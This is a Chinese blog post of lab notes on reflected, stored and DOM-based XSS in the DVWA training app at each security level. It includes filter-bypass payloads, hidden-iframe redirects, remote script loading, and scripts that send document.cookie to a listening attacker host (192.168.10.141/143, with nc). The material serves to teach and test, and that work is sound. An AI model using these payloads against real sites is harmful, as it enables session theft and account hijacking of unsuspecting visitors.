zoukankan      html  css  js  c++  java
  • DVWA-XSS学习笔记

    DVWA-XSS

    XSS概念:由于web应用程序对用户的输入过滤不严,通过html注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

    XSS类型:

    反射型XSS:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要去诱使用户点击一个恶意链接,才能攻击成功。  

    存储型XSS:将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本。

    DOM型XSS:文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。

    XSS的应用场景:1.利用xss获得cookie,2.重定向,3.钓鱼网站,4.DDOS

    一、反射型XSS

     反射型XSS原理

      

    (一)将DVWA的级别设置为low

    1.1查看源代码,可以看到没有对参数做任何防御处理措施,直接输出

      

    1.2尝试一般的XSS攻击

     <script>alert(‘xss’)</script>

      

    <body onload=alert('xss2')>

      

    <a href='' onclick=alert('xss3')>click1</a>    #点击click1时弹出xss3

      

    <img src=http://192.168.10.128/a.jpg onerror=alert('xss4')>  #src地址错误,然后执行onerror的内容

      

    重定向:

    <script>window.location='http://www.163.com'</script>

    <iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>

       

    获取cookie

    1.<script>alert(document.cookie)</script>

       

    2.<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>

    2.1在192.168.10.141上开启监听

    Nc -nvlp 80

    2.2在DVWA中输入如下内容

    <script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>

    2.3此时可以在192.168.10.141的主机上获得DVWA的cookie信息

      

    2.4加载远程的js脚本

    2.4.1在远端服务器上制作一个js脚本

      

    2.4.2搭建站点,把js脚本放入到站点中,开启web服务

    /etc/init.d/apache2 start

    2.4.3在js脚本中的192.168.10.141主机上开启监听,

      

    2.4.4在DVWA中输入如下内容

    <script src='http://192.168.10.141/getcookie.js'></script>

    2.4.5在192.168.10.141查看js脚本实现的结果

      

    (二)将DVWA的级别设置为medium

    1.分析源码,可以看到使用str_replace函数只对参数进行了简单的替换,过滤<script>,别的没有过滤,此时可以用大小写或者别的标签来绕过

      

    2.绕过DVWA  medium防御

    2.1大小写绕过

    <Script>alert('xxx')</script>

    2.2组合过滤条件绕过

    <scr<script>ipt>alert('sss')</script>

    2.3尝试使用别的标签来绕过

    <body onload=alert('s')>

    <a href='' onclick=alert('ss')>click</a>

    <a href='' onclick=alert(/ss/)>click</a>

    #<script>alert('xx')</script>

    (三)将DVWA的级别设置为High

     1.分析源码,可以看到,使用了preg_replace正则表达式函数,对参数进行过滤,查看源码可以看到对<script>标签进行了严格的过滤,但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码

      

    2. 尝试使用别的标签来绕过

    <body onload=alert('s')>

    <img src="" onerror=alert('xss')>

    <a href='' onclick=alert('ss')>click</a>

    <a href='' onclick=alert(/ss/)>click</a>

    (四)将DVWA的级别设置为Impossible

    1.分析源码,可以看到使用htmlspecialchars函数对参数进行html实体转义,此时就无法利用XSS漏洞了

      

      

    二、存储型XSS

    存储型XSS攻击原理图:

      

    (一)将DVWA的级别设置为low

    1.分析源码,可以看到首先对两个参数使用trim函数过滤掉两边的空格,然后$message使用mysql_real_escape_string函数转义SQL语句中的特殊字符,使用stripslashes函数过滤掉””,对$name参数中使用mysql_real_escape_string函数转义SQL语句中的特殊字符

      

    2.从上面的代码可以看到,没有防御XSS漏洞,只防御了SQL注入漏洞

    尝试一般的XSS攻击

    在message栏中测试:

    <script>alert('x')</script>

    <body onload=alert('sss')>

    <a href=http://www.baidu.com>clock</a>

    <a href='' onclick=alert('xss')>click</a>

    重定向:

    <script>window.location=’http://www.baidu.com’</script>

    <script>window.location=’http://192.168.10.141’</script>

    <iframe src='http://192.168.10.10.141/a.jpg' height='0' width='0'></iframe>

    获取cookie:

    <script>alert(document.cookie)</script>

    <script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>

    1.在DVWA message栏中设置字节长度,输入<script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>,然后再kali中开启监听,下图可可以看到获取到DVWA中的cookie信息

      

    2.换一个浏览器访问192.168.10.130/DVWA中存储型XSS,下图可以看到成功获得cookie信息

      

    3.加载远端服务器的js脚本

    制作一个js脚本

      

    把js脚本放到web站点中,开启web服务

    在DVWA栏中输入<script src=http://192.168.10.143/getcookie.js></script>

    在192.168.10.143主机上开启监听,当有用户访问DVWA中存储型xss页面时,就会把cookie信息发送到192.168.10.143主机上

      

    4.修改长度的大小就可以绕过长度的限制了

      

    (二)将DVWA的级别设置为Medium

    1.分析源代码,可以看到对$message参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对$message关于xss的利用),但对$name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过

      

    2.绕过DVWA medium级别

    <Script>alert('x')</script>

    <body onload=alert('xss')>

    <a href='' onclick=alert('xss')>click</a>

    (三)将DVWA的级别设置为High

    1.分析源码,可以看到相比较中级而言,高级对$nam参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过

      

    2.绕过

    <body onload=alert('xss')>

    <a href='' onclick=alert('xss')>click</a>

    (四)将DVWA的级别设置为Impossible

    1.分析源码可以看到,对两个参数都做了html实体转义,无法利用xss

      

    三、DOM型XSS

    文本对象模型

    可储存型,可反射型,取决于输出地点

    <script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>

    1.在DVWA中反射型xss中输入<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>

    2.在192.168.10.143主机上开启监听,可以看到

      

    3.在DVWA中存储型xss中输入<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>

    4. 在192.168.10.143主机上开启监听,可以看到

      

      

  • 相关阅读:
    反射学习系列3反射实例应用
    (转)华为牛人在华为工作十年的感悟!
    利用日志记录所有LINQ的增,删,改解决方案
    qt5摄像头
    opencvcartToPolar笛卡尔坐标转极坐标
    逆矩阵
    方阵的行列式
    qt5右键菜单
    矩阵的转置
    opencvpyrDown降采样和pyrUp升采样
  • 原文地址:https://www.cnblogs.com/yuzly/p/10692449.html
Copyright © 2011-2022 走看看